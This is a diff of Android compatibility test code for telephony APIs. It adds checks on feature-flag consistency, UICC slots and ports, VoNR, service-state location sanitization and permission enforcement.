+                            TelephonyManager.CAPABILITY_PHYSICAL_CHANNEL_CONFIG_1_6_SUPPORTED));
+        } else {
+            physicalChannelConfigSupported =
+                    radioVersion.first > 1 || radioVersion.second >= 2;
+        }
+        if (!physicalChannelConfigSupported) {
+            Log.d(TAG, "Skipping test because physical channel configs are not available.");
             return;
         }
 
         assertFalse(mOnPhysicalChannelConfigCalled);
         mHandler.post(() -> {
-            mPhysicalChannelConfigCallback =
-                    new PhysicalChannelConfigListener();
+            mPhysicalChannelConfigCallback = new PhysicalChannelConfigListener();
             registerTelephonyCallbackWithPermission(mPhysicalChannelConfigCallback);
         });
 
@@ -1297,8 +1417,8 @@
 
     @Test
     public void testOnDataEnabledChangedByRegisterTelephonyCallback() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
 
@@ -1338,8 +1458,8 @@
 
     @Test
     public void testOnAllowedNetworkTypesChangedByRegisterPhoneStateListener() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
         long originalAllowedNetworkTypeUser = ShellIdentityUtils.invokeMethodWithShellPermissions(
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
new file mode 100644
index 0000000..29ccbc4
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.pm.PackageManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Tests for telephony related feature flags defined in {@link android.content.pm.PackageManager}
+ */
+public final class TelephonyFeatureFlagsTest {
+
+    private PackageManager mPackageManager;
+
+    @Before
+    public void setUp() {
+        mPackageManager = getContext().getPackageManager();
+    }
+
+    @Test
+    public void testFeatureFlagsValidation() throws Exception {
+        boolean hasFeatureTelecom = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELECOM);
+        boolean hasFeatureTelephony = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY);
+        boolean hasFeatureCalling = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_CALLING);
+        boolean hasFeatureCarrierLock = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_CARRIERLOCK);
+        boolean hasFeatureCdma = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_CDMA);
+        boolean hasFeatureData = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_DATA);
+        boolean hasFeatureEuicc = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_EUICC);
+        boolean hasFeatureGsm = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_GSM);
+        boolean hasFeatureIms = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_IMS);
+        boolean hasFeatureSingleReg = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION);
+        boolean hasFeatureMbms = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_MBMS);
+        boolean hasFeatureMessaging = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_MESSAGING);
+        boolean hasFeatureRadio = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS);
+        boolean hasFeatureSubscription = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_SUBSCRIPTION);
+
+        if (hasFeatureCalling) {
+            assertTrue(hasFeatureTelecom && hasFeatureRadio && hasFeatureSubscription);
+        }
+
+        if (hasFeatureCarrierLock) {
+            assertTrue(hasFeatureSubscription);
+        }
+
+        if (hasFeatureCdma) {
+            assertTrue(hasFeatureRadio);
+        }
+
+        if (hasFeatureData) {
+            assertTrue(hasFeatureRadio && hasFeatureSubscription);
+        }
+
+        if (hasFeatureEuicc) {
+            assertTrue(hasFeatureSubscription);
+        }
+
+        if (hasFeatureGsm) {
+            assertTrue(hasFeatureRadio);
+        }
+
+        if (hasFeatureIms) {
+            assertTrue(hasFeatureData);
+        }
+
+        if (hasFeatureSingleReg) {
+            assertTrue(hasFeatureIms);
+        }
+
+        if (hasFeatureMbms) {
+            assertTrue(hasFeatureRadio && hasFeatureSubscription);
+        }
+
+        if (hasFeatureMessaging) {
+            assertTrue(hasFeatureRadio && hasFeatureSubscription);
+        }
+
+        if (hasFeatureRadio) {
+            assertTrue(hasFeatureTelephony);
+        }
+
+        if (hasFeatureSubscription) {
+            assertTrue(hasFeatureTelephony);
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 3820a33..39f3cf8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -53,6 +53,7 @@
 import android.os.Looper;
 import android.os.PersistableBundle;
 import android.os.Process;
+import android.os.SystemProperties;
 import android.os.UserManager;
 import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
@@ -78,6 +79,7 @@
 import android.telephony.PinResult;
 import android.telephony.PreciseCallState;
 import android.telephony.RadioAccessFamily;
+import android.telephony.RadioAccessSpecifier;
 import android.telephony.ServiceState;
 import android.telephony.SignalStrength;
 import android.telephony.SignalStrengthUpdateRequest;
@@ -88,7 +90,9 @@
 import android.telephony.TelephonyManager;
 import android.telephony.ThermalMitigationRequest;
 import android.telephony.UiccCardInfo;
+import android.telephony.UiccPortInfo;
 import android.telephony.UiccSlotInfo;
+import android.telephony.UiccSlotMapping;
 import android.telephony.data.ApnSetting;
 import android.telephony.data.NetworkSlicingConfig;
 import android.telephony.emergency.EmergencyNumber;
@@ -98,6 +102,8 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.CarrierPrivilegeUtils;
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.TestThread;
 import com.android.internal.telephony.uicc.IccUtils;
@@ -117,6 +123,7 @@
 import java.security.cert.X509Certificate;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
 import java.util.Collections;
 import java.util.HashMap;
 import java.util.HashSet;
@@ -270,6 +277,7 @@
     private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3);
     private static final int RADIO_HAL_VERSION_1_5 = makeRadioVersion(1, 5);
     private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6);
+    private static final int RADIO_HAL_VERSION_2_0 = makeRadioVersion(2, 0);
 
     static {
         EMERGENCY_NUMBER_SOURCE_SET = new HashSet<Integer>();
@@ -1293,6 +1301,17 @@
             Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
             return;
         }
+
+        List<RadioAccessSpecifier> channels;
+        try {
+            channels = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, TelephonyManager::getSystemSelectionChannels);
+        } catch (IllegalStateException e) {
+            // TODO (b/189255895): Allow ISE once API is enforced in IRadio 2.1.
+            Log.d(TAG, "Skipping test since system selection channels are not available.");
+            return;
+        }
+
         LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue<>(1);
         final UiAutomation uiAutomation =
                 InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -1305,10 +1324,7 @@
             Boolean result = queue.poll(1000, TimeUnit.MILLISECONDS);
             // Ensure we get a result
             assertNotNull(result);
-            // Only verify the result for supported devices on IRadio 1.3+
-            if (mRadioVersion >= RADIO_HAL_VERSION_1_3) {
-                assertTrue(result);
-            }
+            assertTrue(result);
         } catch (InterruptedException e) {
             fail("interrupted");
         } finally {
@@ -1320,16 +1336,15 @@
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                 tp -> tp.setSystemSelectionChannels(Collections.emptyList()));
 
-        // TODO (b/189255895): Uncomment once getSystemSelection channels is functional in S QPR
-        /**
-        // getSystemSelectionChannels was added in IRadio 1.6, so ensure it returns
-        // the value that was set by setSystemSelectionChannels.
-        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
-            assertEquals(Collections.emptyList(),
-                    ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                    TelephonyManager::getSystemSelectionChannels));
-        }
-         **/
+        // Assert that we get back the value we set.
+        assertEquals(Collections.emptyList(),
+                ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                TelephonyManager::getSystemSelectionChannels));
+
+        // Reset the values back to the original.
+        List<RadioAccessSpecifier> finalChannels = channels;
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                tp -> tp.setSystemSelectionChannels(finalChannels));
     }
 
     @Test
@@ -1439,6 +1454,44 @@
         }
 
         assertEquals(mServiceState, mTelephonyManager.getServiceState());
+        assertServiceStateSanitization(mServiceState, mTelephonyManager.getServiceState(true,
+                true));
+        assertServiceStateFineLocationSanitization(mServiceState,
+                mTelephonyManager.getServiceState(true, false));
+        assertEquals(mServiceState, mTelephonyManager.getServiceState(false, true));
+    }
+
+    private void assertServiceStateSanitization(ServiceState expectedServiceState,
+            ServiceState receivedServiceState) {
+        assertNotEquals(null, receivedServiceState);
+        assertServiceStateFineLocationSanitization(expectedServiceState, receivedServiceState);
+
+        assertTrue(TextUtils.isEmpty(receivedServiceState.getOperatorAlphaLong()));
+        assertTrue(TextUtils.isEmpty(receivedServiceState.getOperatorAlphaShort()));
+        assertTrue(TextUtils.isEmpty(receivedServiceState.getOperatorNumeric()));
+    }
+
+    private void assertServiceStateFineLocationSanitization(ServiceState expectedServiceState,
+            ServiceState receivedServiceState) {
+        assertNotEquals(null, receivedServiceState);
+
+        assertEquals(expectedServiceState.getVoiceRegState(),
+                receivedServiceState.getVoiceRegState());
+        assertEquals(expectedServiceState.getDataRegState(),
+                receivedServiceState.getDataRegState());
+        assertEquals(expectedServiceState.getDataNetworkType(),
+                receivedServiceState.getDataNetworkType());
+        assertEquals(expectedServiceState.getDataRoaming(),
+                receivedServiceState.getDataRoaming());
+        assertEquals(expectedServiceState.getRilVoiceRadioTechnology(),
+                receivedServiceState.getRilVoiceRadioTechnology());
+
+        if (receivedServiceState.getNetworkRegistrationInfoList() != null) {
+            for (NetworkRegistrationInfo nrs : receivedServiceState
+                    .getNetworkRegistrationInfoList()) {
+                assertNull(nrs.getCellIdentity());
+            }
+        }
     }
 
     @Test
@@ -1448,7 +1501,8 @@
             return;
         }
 
-        int[] allSubs = mSubscriptionManager.getActiveSubscriptionIdList();
+        int[] allSubs  = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mSubscriptionManager, (sm) ->sm.getActiveSubscriptionIdList());
         // generate a subscription that is valid (>0) but inactive (not part of active subId list)
         // A simple way to do this is sum the active subIds and add 1
         int inactiveValidSub = 1;
@@ -1459,6 +1513,29 @@
         assertNull(mTelephonyManager.createForSubscriptionId(inactiveValidSub).getServiceState());
     }
 
+    // This test is to ensure the RAT IWLAN is not reported on WWAN transport if the device is
+    // operated in AP-assisted mode.
+    @Test
+    @CddTest(requirement = "7.4.1/C-4-1")
+    public void testIWlanServiceState() {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        String mode = SystemProperties.get("ro.telephony.iwlan_operation_mode");
+        if (!mode.equals("legacy")) {
+            ServiceState ss = mTelephonyManager.getServiceState();
+            if (ss != null) {
+                for (NetworkRegistrationInfo nri : ss.getNetworkRegistrationInfoList()) {
+                    if (nri.getTransportType() == AccessNetworkConstants.TRANSPORT_TYPE_WWAN) {
+                        assertNotEquals(TelephonyManager.NETWORK_TYPE_IWLAN,
+                                nri.getAccessNetworkTechnology());
+                    }
+                }
+            }
+        }
+    }
+
     private MockPhoneCapabilityListener mMockPhoneCapabilityListener;
 
     private class MockPhoneCapabilityListener extends TelephonyCallback
@@ -1649,6 +1726,11 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
+        if (mRadioVersion < RADIO_HAL_VERSION_2_0) {
+            Log.d(TAG, "Skipping test since rebootModem is not supported.");
+            return;
+        }
+
         TestThread t = new TestThread(new Runnable() {
             public void run() {
                 Looper.prepare();
@@ -2218,19 +2300,42 @@
             Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
             return;
         }
-        // Requires READ_PRIVILEGED_PHONE_STATE or carrier privileges
+
+        // The API requires either READ_PRIVILEGED_PHONE_STATE or carrier privileges
+        try {
+            mTelephonyManager.getUiccCardsInfo();
+            fail("Telephony#getUiccCardsInfo should throw SecurityException without "
+                    + "READ_PRIVILEGED_PHONE_STATE nor carrier privileges");
+        } catch (SecurityException expected) {
+        }
+
+        // With READ_PRIVILEGED_PHONE_STATE only, it should work
         List<UiccCardInfo> infos =
                 ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                 (tm) -> tm.getUiccCardsInfo());
         // test that these methods don't crash
         if (infos.size() > 0) {
             UiccCardInfo info = infos.get(0);
-            info.getIccId();
             info.getEid();
             info.isRemovable();
             info.isEuicc();
             info.getCardId();
-            info.getSlotIndex();
+            info.getPorts();
+            info.getPhysicalSlotIndex();
+            info.isRemovable();
+        }
+
+        // With carrier privileges only, it should also work
+        try {
+            CarrierPrivilegeUtils.withCarrierPrivileges(
+                    getContext(),
+                    SubscriptionManager.getDefaultSubscriptionId(),
+                    () -> mTelephonyManager.getUiccCardsInfo());
+        } catch (SecurityException se) {
+            fail("TelephonyManager.getUiccCardsInfo should not throw SecurityException with "
+                    + "carrier privileges");
+        } catch (Exception e) {
+            fail("Exception thrown when try to get carrier privileges.");
         }
     }
 
@@ -2311,6 +2416,44 @@
     }
 
     /**
+     * Tests that the device properly sets the VoNr
+     */
+    @Test
+    public void testIsVoNrEnabled() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        try {
+            int result = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    (tm) -> tm.setVoNrEnabled(true));
+            if (result ==  TelephonyManager.ENABLE_VONR_REQUEST_NOT_SUPPORTED) {
+                return;
+            }
+        } catch (Exception e) {
+        }
+
+        assertTrue(ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.isVoNrEnabled()));
+    }
+
+    /**
+     * Tests that a SecurityException is thrown when trying to set VoNR
+     */
+    @Test
+    public void testSetVoNrEnabledException() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+        try {
+            mTelephonyManager.setVoNrEnabled(true);
+            fail("Expected SecurityException. App does not have carrier privileges.");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
      * Construct a CallAttributes object and test getters.
      */
     @Test
@@ -2751,6 +2894,21 @@
     }
 
     @Test
+    public void testIccOpenLogicalChannelBySlotAndPort() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // just verify no crash
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.iccOpenLogicalChannelByPort(0, 0, null, 0));
+        } catch (SecurityException e) {
+            // IllegalArgumentException is okay, just not SecurityException
+            fail("iccCloseLogicalChannelByPort: SecurityException not expected");
+        }
+    }
+
+    @Test
     public void testIccCloseLogicalChannelBySlot() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
@@ -2763,13 +2921,41 @@
             // IllegalArgumentException is okay, just not SecurityException
         }
     }
+    @Test
+    public void testIccCloseLogicalChannelBySlotAndPort() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // just verify no crash
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager, (tm) -> tm.iccCloseLogicalChannelByPort(0, 0, 0));
+        } catch (SecurityException e) {
+            // IllegalArgumentException is okay, just not SecurityException
+            fail("iccCloseLogicalChannelByPort: SecurityException not expected");
+        }
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager, (tm) -> tm.iccCloseLogicalChannelByPort(0, -1, 0));
+            fail("Expected IllegalArgumentException, invalid PortIndex");
+        } catch (IllegalArgumentException e) {
+            // IllegalArgumentException is expected
+        }
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager, (tm) -> tm.iccCloseLogicalChannelByPort(0, 0, -1));
+            fail("Expected IllegalArgumentException, invalid channel");
+        } catch (IllegalArgumentException e) {
+            // IllegalArgumentException is expected
+        }
+    }
 
     @Test
     public void testIccTransmitApduLogicalChannelBySlot() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
-        int slotIndex = getValidSlotIndex();
+        int slotIndex = getValidSlotIndexAndPort().getKey();
         String result = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.iccTransmitApduLogicalChannelBySlot(
                         slotIndex,
@@ -2784,12 +2970,37 @@
     }
 
     @Test
+    public void testIccTransmitApduLogicalChannelBySlotAndPort() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        int slotIndex = getValidSlotIndexAndPort().getKey();
+        int portIndex = getValidSlotIndexAndPort().getValue();
+        try {
+            String result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.iccTransmitApduLogicalChannelByPort(
+                            slotIndex,
+                            portIndex /* portIndex */,
+                            0 /* channel */,
+                            0 /* cla */,
+                            0 /* instruction */,
+                            0 /* p1 */,
+                            0 /* p2 */,
+                            0 /* p3 */,
+                            null /* data */));
+            assertTrue(TextUtils.isEmpty(result));
+        } catch (SecurityException e) {
+            // IllegalArgumentException is okay, just not SecurityException
+            fail("iccTransmitApduLogicalChannelByPort: SecurityException not expected");
+        }
+    }
+    @Test
     public void testIccTransmitApduBasicChannelBySlot() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
         // just verify no crash
-        int slotIndex = getValidSlotIndex();
+        int slotIndex = getValidSlotIndexAndPort().getKey();
         try {
             ShellIdentityUtils.invokeMethodWithShellPermissions(
                     mTelephonyManager, (tm) -> tm.iccTransmitApduBasicChannelBySlot(
@@ -2806,6 +3017,31 @@
     }
 
     @Test
+    public void testIccTransmitApduBasicChannelBySlotAndPort() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // just verify no crash
+        int slotIndex = getValidSlotIndexAndPort().getKey();
+        int portIndex = getValidSlotIndexAndPort().getValue();
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.iccTransmitApduBasicChannelByPort(
+                            slotIndex,
+                            portIndex /*portIndex */,
+                            0 /* cla */,
+                            0 /* instruction */,
+                            0 /* p1 */,
+                            0 /* p2 */,
+                            0 /* p3 */,
+                            null /* data */));
+        } catch (SecurityException e) {
+            // IllegalArgumentException is okay, just not SecurityException
+            fail("iccTransmitApduBasicChannelByPort: SecurityException not expected");
+        }
+    }
+
+    @Test
     public void testIsIccLockEnabled() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
@@ -3393,6 +3629,28 @@
                 TelephonyManager.SIM_STATE_CARD_RESTRICTED,
                 TelephonyManager.SIM_STATE_PRESENT).contains(simCardState));
     }
+    @Test
+    public void getSimCardStateTest() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PRIVILEGED_PHONE_STATE");
+        List<UiccCardInfo> cardsInfo = mTelephonyManager.getUiccCardsInfo();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+        for (UiccCardInfo cardInfo : cardsInfo) {
+            for (UiccPortInfo portInfo : cardInfo.getPorts()) {
+                int simCardState = mTelephonyManager.getSimCardState(cardInfo
+                        .getPhysicalSlotIndex(), portInfo.getPortIndex());
+                assertTrue(Arrays.asList(TelephonyManager.SIM_STATE_UNKNOWN,
+                        TelephonyManager.SIM_STATE_ABSENT,
+                        TelephonyManager.SIM_STATE_CARD_IO_ERROR,
+                        TelephonyManager.SIM_STATE_CARD_RESTRICTED,
+                        TelephonyManager.SIM_STATE_PRESENT).contains(simCardState));
+            }
+        }
+    }
 
     private boolean isDataEnabled() {
         return ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
@@ -3405,11 +3663,15 @@
             return;
         }
 
+        // Perform this test on default data subscription.
+        mTelephonyManager = getContext().getSystemService(TelephonyManager.class)
+                .createForSubscriptionId(SubscriptionManager.getDefaultDataSubscriptionId());
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
                 mTelephonyManager,
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_THERMAL,
                         false));
 
+        waitForMs(500);
         boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_THERMAL));
@@ -3424,6 +3686,7 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_THERMAL,
                         true));
 
+        waitForMs(500);
         isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_THERMAL));
@@ -3440,11 +3703,15 @@
             return;
         }
 
+        // Perform this test on default data subscription.
+        mTelephonyManager = getContext().getSystemService(TelephonyManager.class)
+                .createForSubscriptionId(SubscriptionManager.getDefaultDataSubscriptionId());
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
                 mTelephonyManager,
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
                         false));
 
+        waitForMs(500);
         boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_POLICY));
@@ -3459,6 +3726,7 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
                         true));
 
+        waitForMs(500);
         isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_POLICY));
@@ -3475,6 +3743,9 @@
             return;
         }
 
+        // Perform this test on default data subscription.
+        mTelephonyManager = getContext().getSystemService(TelephonyManager.class)
+                .createForSubscriptionId(SubscriptionManager.getDefaultDataSubscriptionId());
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
                 mTelephonyManager,
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
@@ -3559,6 +3830,7 @@
                         TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
                         !allowDataDuringVoiceCall));
 
+        waitForMs(500);
         assertNotEquals(allowDataDuringVoiceCall,
                 ShellIdentityUtils.invokeMethodWithShellPermissions(
                         mTelephonyManager, getPolicyHelper));
@@ -3568,6 +3840,7 @@
                         TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
                         allowDataDuringVoiceCall));
 
+        waitForMs(500);
         assertEquals(allowDataDuringVoiceCall,
                 ShellIdentityUtils.invokeMethodWithShellPermissions(
                         mTelephonyManager, getPolicyHelper));
@@ -3591,6 +3864,7 @@
                         TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
                         !mmsAlwaysAllowed));
 
+        waitForMs(500);
         assertNotEquals(mmsAlwaysAllowed,
                 ShellIdentityUtils.invokeMethodWithShellPermissions(
                         mTelephonyManager, getPolicyHelper));
@@ -3600,6 +3874,7 @@
                         TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
                         mmsAlwaysAllowed));
 
+        waitForMs(500);
         assertEquals(mmsAlwaysAllowed,
                 ShellIdentityUtils.invokeMethodWithShellPermissions(
                         mTelephonyManager, getPolicyHelper));
@@ -3746,14 +4021,25 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
-
+        final String empty_pin = ""; // For getting current remaining pin attempt.
         final String pin = "fake_pin";
         final String puk = "fake_puk";
         final String newPin = "fake_new_pin";
 
+        //Refer GSM 02.17  5.6 PIN Manangement
+        //To avoid that sim may enter PUK state,
+        //TC should be allowed when current Pin attempt count is reset with 3.
         boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, TelephonyManager::isIccLockEnabled);
         PinResult result = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.supplyIccLockPin(empty_pin));
+        assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_SUCCESS);
+        if(result.getAttemptsRemaining() < 3){
+            Log.d(TAG, "Skipping test and requires that reboot device and unlock pin successfully");
+            return;
+        }
+
+        result = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.setIccLockEnabled(!isEnabled, pin));
         assertTrue(result.getResult() == PinResult.PIN_RESULT_TYPE_INCORRECT
                 || result.getResult() == PinResult.PIN_RESULT_TYPE_FAILURE);
@@ -3831,33 +4117,19 @@
             return;
         }
 
-        // Verify SE throws for app when set systemThresholdReportingRequestedWhileIdle to true
-        SignalStrengthUpdateRequest requestWithSystemThresholdReportingRequestedWhileIdle =
-                new SignalStrengthUpdateRequest.Builder()
-                        .setSignalThresholdInfos(List.of(
-                                new SignalThresholdInfo.Builder()
-                                        .setRadioAccessNetworkType(
-                                                AccessNetworkConstants.AccessNetworkType.GERAN)
-                                        .setSignalMeasurementType(
-                                                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
-                                        .setThresholds(new int[]{-113, -103, -97, -51})
-                                        .build()))
-                        .setReportingRequestedWhileIdle(true)
-                        //allowed for system caller only
-                        .setSystemThresholdReportingRequestedWhileIdle(true)
-                        .build();
-        try {
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    (tm) -> tm.setSignalStrengthUpdateRequest(
-                            requestWithSystemThresholdReportingRequestedWhileIdle));
-            fail("IllegalArgumentException expected when set "
-                    + "systemThresholdReportingRequestedWhileIdle");
-        } catch (IllegalArgumentException expected) {
-        }
+        // Verify system privileged app with permission LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH can
+        // set systemThresholdReportingRequestedWhileIdle to true with empty thresholdInfos
+        SignalStrengthUpdateRequest request = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(Collections.EMPTY_LIST)
+                .setSystemThresholdReportingRequestedWhileIdle(true)
+                .build();
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                (tm) -> tm.setSignalStrengthUpdateRequest(request));
     }
 
     @Test
-    public void testSetSignalStrengthUpdateRequest_systeresisDbSet() {
+    public void testSetSignalStrengthUpdateRequest_hysteresisDbSet() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
             return;
@@ -3887,7 +4159,7 @@
     }
 
     @Test
-    public void testSetSignalStrengthUpdateRequest_systeresisMsSet() {
+    public void testSetSignalStrengthUpdateRequest_hysteresisMsSet() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             Log.d(TAG, "skipping test on device without FEATURE_TELEPHONY present");
             return;
